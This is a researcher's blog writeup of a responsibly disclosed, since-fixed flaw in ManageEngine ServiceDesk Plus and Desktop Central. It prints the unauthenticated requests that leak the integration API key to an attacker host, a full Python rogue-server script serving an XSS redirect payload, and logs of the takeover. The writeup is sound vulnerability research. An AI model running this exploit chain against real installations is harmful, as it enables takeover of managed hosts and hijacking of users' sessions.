ManageEngine SDP/DC Exploitation [Graybox Writeup]

Walter Oberacher
8 min readJun 26, 2020

--

Or how I discovered a vulnerability in the integration between ServiceDesk Plus Enterprise and Desktop Central, by the means of a mixed approach.

The vulnerability itself is an unauthenticated information disclosure, the leak of the API key used by SDP and DC to establish a link, the takeover of DC and the hijack of the integration of the two (Man In the Server).

ManageEngine SDP / DC by Zoho Corp.

Background

A few months ago, I approached the ManageEngine suite’s bug bounty program, mainly because of two reasons:

  1. I had to train for the OSWE (Offensive Security Web Expert) certification
  2. Zoho doesn’t pay for bounties on ME products

The reason behind point 2 is that, while other Zoho products may be considered relatively safe, not paying for the bounties will attract less researchers. The natural consequence of this is fewer disclosed vulnerabilities, so an easier chance for me to find some.

Just for practice, I found plenty. Every bug was responsibly reported and solved by the ME team before disclosure.

This means that, if you are looking for training material, my advice is to focus on this kind of target. On the other hand, if you have to choose a product, or are a vendor yourself, consider the option of paid bounties.

As a side note, always keep in mind: responsible disclosure only = less researchers = less security

Discovery

I won’t drill into the details of the technique: it was a mix of source code / configuration review, debugging and the usual blackbox.

Thanks to previous studies, I already had a hang of how the ManageEngine suites work, so I installed the product (at first only ServiceDesk Plus) and looked for low hanging fruits.

Soon, I found out that DCPluginServlet let for unauthenticated requests, and this was something to focus on.

By reviewing the source code, I discovered the DCPluginServlet servlet didn’t check for authentication and didn’t validate the connection between an SDP instance against DC.

This led to API Key exfiltration and a forced connection / integration with a fake DC service (DC_emulator in my proof of concept).

Lab scenario

To further investigate the vulnerability behaviour and where this could be exploited, I proceeded installing a VM for Desktop Central.

This was the lab I ended up with:

192.168.91.135 — Victim Server running SDP and DC
192.168.91.138 — Attacking Machine running DC_emulator
192.168.91.136 — Hacker SDP instance used to takeover victim’s DC

ServiceDesk Plus version was: 10.5 Build 10512

Exploitation

At the time, the two products (SDP and DC) used the above mentioned servlet to establish the first connection and start the sync, but the request didn’t require authentication and was still available even after setting the API key and the DC server for the first time.

By reviewing and debugging the code, after a few attempts I noticed that I could leak the configured API key by removing the API Key parameter in the same POST request made by the original server.

APIKey exfiltration sample request:

POST /servlets/DCPluginServlet HTTP/1.1
Host: 192.168.91.135:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
action=syncServerInfo&license=hoax&serverName=192.168.91.138&serverPort=80&serverProtocol=http

Notice that with the above request I asked the SDP server (192.168.91.135) to “syncServerInfo” on the fake DC host (192.168.91.138) by setting a fake “hoax” license.

The fake DC server, which had a http listener running on port 80, immediately received the following request:

GET /DCRequestServlet?action=addConfig&apiKey=E0936412-1D81-4055-84C4-B2673FF91581&serverProtocol=http&serverName=WIN-FEDA5TQ8ASK&serverPort=8080&isPlugInMode=true HTTP/1.1

The apiKey parameter of the GET is the actual key set by the original Desktop Central, but what could I accomplish with that key? Using it on our other instance of SDP on 192.168.91.136, let me take the DC instance over:

Italian screenshots…my bad, I’m sorry but this shouldn’t make it less clear. And yes, I am Italian guys!

Well, now I had taken over the DC instance and I could play around with all the managed hosts machines, add new ones or deploy any kind of software / command I liked. Would this be a compromise of the whole infrastructure?

To keep things funny and interesting, why stop there and compromise “only” the Desktop Central instance? What if it wasn’t there and I only had ServiceDesk Plus as a target? Moreover, the DC might be only accessible by the private network, while it isn’t unusual to find exposed ticketing services, right?

Since my first target was actually SDP, I took a happy note of this and went on.

DC emulator

Further investigating the communication between SDP and my fake DC server, I noticed the first one was trying to instantiate some sort of communication.

SDP uses the DC’s responses to dynamically generate contextual menus into it’s own interface, so this became a foothold to potentially make SDP’s users “do things” (XSS), or event the SDP core itself (SSRF).

By following the original conversation, I used that info to create a simple custom “emulator” of the DC service, namely DC_emulator.py:

from http.server import HTTPServer, BaseHTTPRequestHandler
from urlparse import urlparse
from io import BytesIO

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

def do_GET(self):

response = BytesIO()
if (‘action’ in urlparse(self.path).query):
self.send_response(200)
self.send_header(‘Content-Type’, ‘text/xml; charset=utf-8’)
self.end_headers()

query = urlparse(self.path).query
query_components = dict(qc.split(“=”) for qc in query.split(“&”))
action = query_components[“action”]
print “Processing ‘%s’ …” % action

if (action == ‘validateAPIkey’):
response.write(b’<?xml version=”1.0" encoding=”utf-8"?>’)
response.write(b’<APIKeyStatus>’)
response.write(b’<APIStatus message=”Valid API Key” module=”validateAPIkey” status=”success”/>’)
response.write(b’</APIKeyStatus>’)

if (action == ‘isServerRunning’):
response.write(b’<?xml version=”1.0" encoding=”utf-8"?>’)
response.write(b’<DCServerStatus>’)
response.write(b’<ServerStatus status=”running”/>’)
response.write(b’</DCServerStatus>’)

if (action == ‘getVersionDetails’):
response.write(b’<?xml version=”1.0" encoding=”utf-8"?>’)
response.write(b’<DCVersionDetails>’)
response.write(b’<VersionInfo buildnumber=”100430" dcRemoteHFBuildNumber=”100418" isMSP=”false” licenseType=”Professional” productname=”ManageEngine Desktop Central 10" productversion=”10.0.430"/>’)
response.write(b’</DCVersionDetails>’)

if (action == ‘fetchPackages’):
response.write(b’<?xml version=”1.0" encoding=”utf-8"?>’)
response.write(b’<DCRequestHandler>’)
response.write(b’<SWPackage package_id=”1" package_name=”VLC Media Player (3.0.7.1)” package_type=”EXE”/>’)
response.write(b’</DCRequestHandler>’)

if (action == ‘fetchScripts’):
response.write(b’<?xml version=”1.0" encoding=”utf-8"?>’)
response.write(b’<DCRequestHandler>’)
response.write(b’<ScriptDetails description=”Script to add user credentials in Windows credentials manager(Control Panel\User Accounts\Credential Manager\Windows Credentials-> Add windows credentials)” script_id=”1" script_name=”AddCredentialsWindowsVault.vbs”/>’)
response.write(b’</DCRequestHandler>’)

if (‘SDPexploit.html’ in self.path):
print “Exploiting!”
self.send_response(200)
self.send_header(‘Content-Type’, ‘text/html; charset=utf-8’)
self.end_headers()

response.write(b’<body onload=”javascript:exploit()”>’)
response.write(b’<script>function exploit(){‘)
response.write(b’alert(“HACKED!”); window.top.location.href = “http://192.168.91.135:8080/api/v3/custom_schedules"; ‘)
response.write(b’}</script> ‘)

response.write(b’Hello World!!!</body>’)

self.wfile.write(response.getvalue())

def do_POST(self):
response = BytesIO()
if (‘getAPIKeyForSDPUser’ in self.path):
print “Processing ‘getAPIKeyForSDPUser’ …”
response.write(b’{“message_type”:”users”,”message_response”:{“users”:{“APIKEY”:”MjE1MTI3MEMtNTg1OC00RUFGLThBNTgtOEI0MDgyQjdBREE2",”TECH_LOGIN_ID”:1}},”message_version”:”1.0",”status”:”success”}’)

if (‘moduleurl’ in self.path):
print “Processing ‘moduleurl’ …”
response.write(b’{“message_type”:”moduleurl”,”message_response”:{“moduleurl”:{“DCMenuItems”:[{“license”:”Professional,Enterprise,TOOLSADDON,UEM”,”role”:”PatchMgmt_Read”,”SUBMenuItems”:[{“license”:”Professional,Enterprise,TOOLSADDON,UEM”,”role”:”PatchMgmt_Read”,”needtoshow”:false,”displayname”:”Home”,”name”:”DC_HOME_DASHBOARD”,”url”:”SDPexploit.html”},{“license”:”Professional,Enterprise,TOOLSADDON,UEM”,”role”:”PatchMgmt_Read”,”needtoshow”:false,”displayname”:”PatchManagement”,”name”:”DC_PATCH_DASHBOARD”,”url”:”SDPexploit.html”}],”displayname”:”Dashboard”,”name”:”ALL_DASHBOARDS”,”url”:”SDPexploit.html”}]}},”message_version”:”1.0",”status”:”success”}’)

self.send_response(200)
self.send_header(‘Content-Type’, ‘text/plain; charset=utf-8’)
self.end_headers()
self.wfile.write(response.getvalue())

httpd = HTTPServer((‘0.0.0.0’, 80), SimpleHTTPRequestHandler)
httpd.serve_forever()

Using the leaked API Key (E0936412–1D81–4055–84C4-B2673FF91581), I could update my previous request to CDPluginServlet to link SDP to my DC_emulator.py:

POST /servlets/DCPluginServlet HTTP/1.1
Host: 192.168.91.135:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 170


action=syncServerInfo&license=hoax&serverName=192.168.91.138&serverPort=80&serverProtocol=http&apiKey=E0936412-1D81-4055-84C4-B2673FF91581

This time, by specifying the apiKey value, I forced the SDP service to alter its configuration and take the DC emulator as the trusted one.

SDP was happy to comply:

HTTP/1.1 200 
Set-Cookie: SDPSESSIONID=2B456D9E1E5B092DE070AF897B2EA674; Path=/; HttpOnly
X-Content-Type-Options: nosniff
X-XSS-Protection: 1;mode=block
Set-Cookie: sdpcsrfcookie=90de1789-7f3c-4550-ac46-70ac6f65fa6e; Path=/
Content-Type: text/xml;charset=ISO-8859-1
Content-Length: 24
Date: Sun, 15 Sep 2019 17:27:37 GMT
Connection: close
Server: -

<Result>Success</Result>

And this is DC_emulator.py getting on it:

root@kali:~/manageengine_service_desk_plus# python DC_emulator.py 
192.168.91.135 - - [15/Sep/2019 19:27:35] "GET /DCRequestServlet?action=addConfig&apiKey=E0936412-1D81-4055-84C4-B2673FF91581&serverProtocol=http&serverName=WIN-FEDA5TQ8ASK&serverPort=8080&isPlugInMode=true HTTP/1.1" 200 -
Processing 'addConfig' ...

Then I went on DC settings on the target SDP instance to test the saved connection:

Bingo! Now SDP was successfully talking to my fake DC, considering it legit.

This is what happend behind the scenes:

root@kali:~/manageengine_service_desk_plus# python DC_emulator.py 
192.168.91.135 - - [15/Sep/2019 19:27:35] "GET /DCRequestServlet?action=addConfig&apiKey=E0936412-1D81-4055-84C4-B2673FF91581&serverProtocol=http&serverName=WIN-FEDA5TQ8ASK&serverPort=8080&isPlugInMode=true HTTP/1.1" 200 -
Processing 'addConfig' ...
192.168.91.135 - - [15/Sep/2019 19:29:49] "GET /DCRequestServlet?action=validateAPIkey&apiKey=E0936412-1D81-4055-84C4-B2673FF91581 HTTP/1.1" 200 -
Processing 'validateAPIkey' ...
192.168.91.135 - - [15/Sep/2019 19:29:49] "GET /DCRequestServlet?action=isServerRunning&apiKey=E0936412-1D81-4055-84C4-B2673FF91581 HTTP/1.1" 200 -
Processing 'isServerRunning' ...
192.168.91.135 - - [15/Sep/2019 19:29:49] "GET /DCRequestServlet?action=getVersionDetails&apiKey=E0936412-1D81-4055-84C4-B2673FF91581 HTTP/1.1" 200 -
Processing 'getVersionDetails' ...
192.168.91.135 - - [15/Sep/2019 19:29:52] "GET /DCRequestServlet?action=fetchPackages&apiKey=E0936412-1D81-4055-84C4-B2673FF91581 HTTP/1.1" 200 -
Processing 'fetchPackages' ...
192.168.91.135 - - [15/Sep/2019 19:29:52] "GET /DCRequestServlet?action=fetchScripts&apiKey=E0936412-1D81-4055-84C4-B2673FF91581 HTTP/1.1" 200 -
Processing 'fetchScripts' ...
192.168.91.135 - - [15/Sep/2019 19:29:53] "GET /DCRequestServlet?action=getVersionDetails&apiKey=E0936412-1D81-4055-84C4-B2673FF91581 HTTP/1.1" 200 -
Processing 'getVersionDetails' ...

You can see the fake integration succeeded and, as a proof of concept, I had “armed” DC_emulator.py with a simple parent page redirect to interact with the user session, by browsing to DC menu Dashboard -> PatchManagement (I could have forged any kind of menu and page I wanted the end user to see) and even if there is anti XSRF, I could for sure fool the user into submitting credentials or the like, being that what would be seen is the IP/URL and the interface of SDP.

Example of menu interaction (the source page in this example is the attacking machine)
Example of redirect (in this example the top window was forwarded)

DC_emulator.py snip:

...
if ('SDPexploit.html' in self.path):
print "Exploiting!"
self.send_response(200)
self.send_header('Content-Type', 'text/html; charset=utf-8')
self.end_headers()
response.write(b'<body onload="javascript:exploit()">')
response.write(b'<script>function exploit(){')
response.write(b'alert("HACKED!"); window.top.location.href = "http://192.168.91.135:8080/api/v3/custom_schedules"; ')
response.write(b'}</script> ')
response.write(b'Hello World!!!</body>')
...

As seen by the DC emulator:

192.168.91.135 - - [15/Sep/2019 19:31:18] "GET /DCRequestServlet?action=isServerRunning&apiKey=E0936412-1D81-4055-84C4-B2673FF91581 HTTP/1.1" 200 -
Processing 'isServerRunning' ...
192.168.91.135 - - [15/Sep/2019 19:31:18] "GET /DCRequestServlet?action=validateAPIkey&apiKey=E0936412-1D81-4055-84C4-B2673FF91581 HTTP/1.1" 200 -
Processing 'validateAPIkey' ...
192.168.91.135 - - [15/Sep/2019 19:31:18] "GET /DCRequestServlet?action=getVersionDetails&apiKey=E0936412-1D81-4055-84C4-B2673FF91581 HTTP/1.1" 200 -
Processing 'getVersionDetails' ...
192.168.91.135 - - [15/Sep/2019 19:31:18] "GET /DCRequestServlet?action=getVersionDetails&apiKey=E0936412-1D81-4055-84C4-B2673FF91581 HTTP/1.1" 200 -
Processing 'getVersionDetails' ...
Processing 'getAPIKeyForSDPUser' ...
192.168.91.135 - - [15/Sep/2019 19:31:18] "POST /api/1.3/userManagement/users/getAPIKeyForSDPUser?user=administrator HTTP/1.1" 200 -
Processing 'moduleurl' ...
192.168.91.135 - - [15/Sep/2019 19:31:18] "POST /api/1.3/desktop/moduleurl HTTP/1.1" 200 -
192.168.91.135 - - [15/Sep/2019 19:34:46] "GET /DCRequestServlet?action=isServerRunning&apiKey=E0936412-1D81-4055-84C4-B2673FF91581 HTTP/1.1" 200 -
Processing 'isServerRunning' ...
192.168.91.135 - - [15/Sep/2019 19:34:46] "GET /DCRequestServlet?action=validateAPIkey&apiKey=E0936412-1D81-4055-84C4-B2673FF91581 HTTP/1.1" 200 -
Processing 'validateAPIkey' ...
192.168.91.135 - - [15/Sep/2019 19:34:46] "GET /DCRequestServlet?action=getVersionDetails&apiKey=E0936412-1D81-4055-84C4-B2673FF91581 HTTP/1.1" 200 -
Processing 'getVersionDetails' ...
Exploiting!
192.168.91.138 - - [15/Sep/2019 19:34:49] "GET /SDPexploit.html&integrationMode=true&jumpto=false&integrationMode=true&ticket=4d0df974a9a9a14bdeb9700aed703391&pname=SDPEE HTTP/1.1" 200 -

Conclusion

In the end my study session was pretty formative.

I was able to take control of Desktop Central, potentially owning a whole infrastructure, and I could make ServiceDesk Plus use my emulator to make arbitrary content available to the end user, actually hijacking the SDP session over DC emulator.

I didn’t test any further, but I believe this might apply in the opposite direction and on other products too.

I also believe this vulnerability could be leveraged as a mitm (man in the middle), by forwarding legit requests received by DC emulator towards the actual Desktop Central, taking real responses back to the ServiceDesk instance and so on.

By the time I am writing this, the vulnerability has already been fixed on newer versions of the software.

--

--

Walter Oberacher

Ethical Hacker and a System Engineer, I try to be a researcher / bounty hunter / CTF player whenever I get the chance.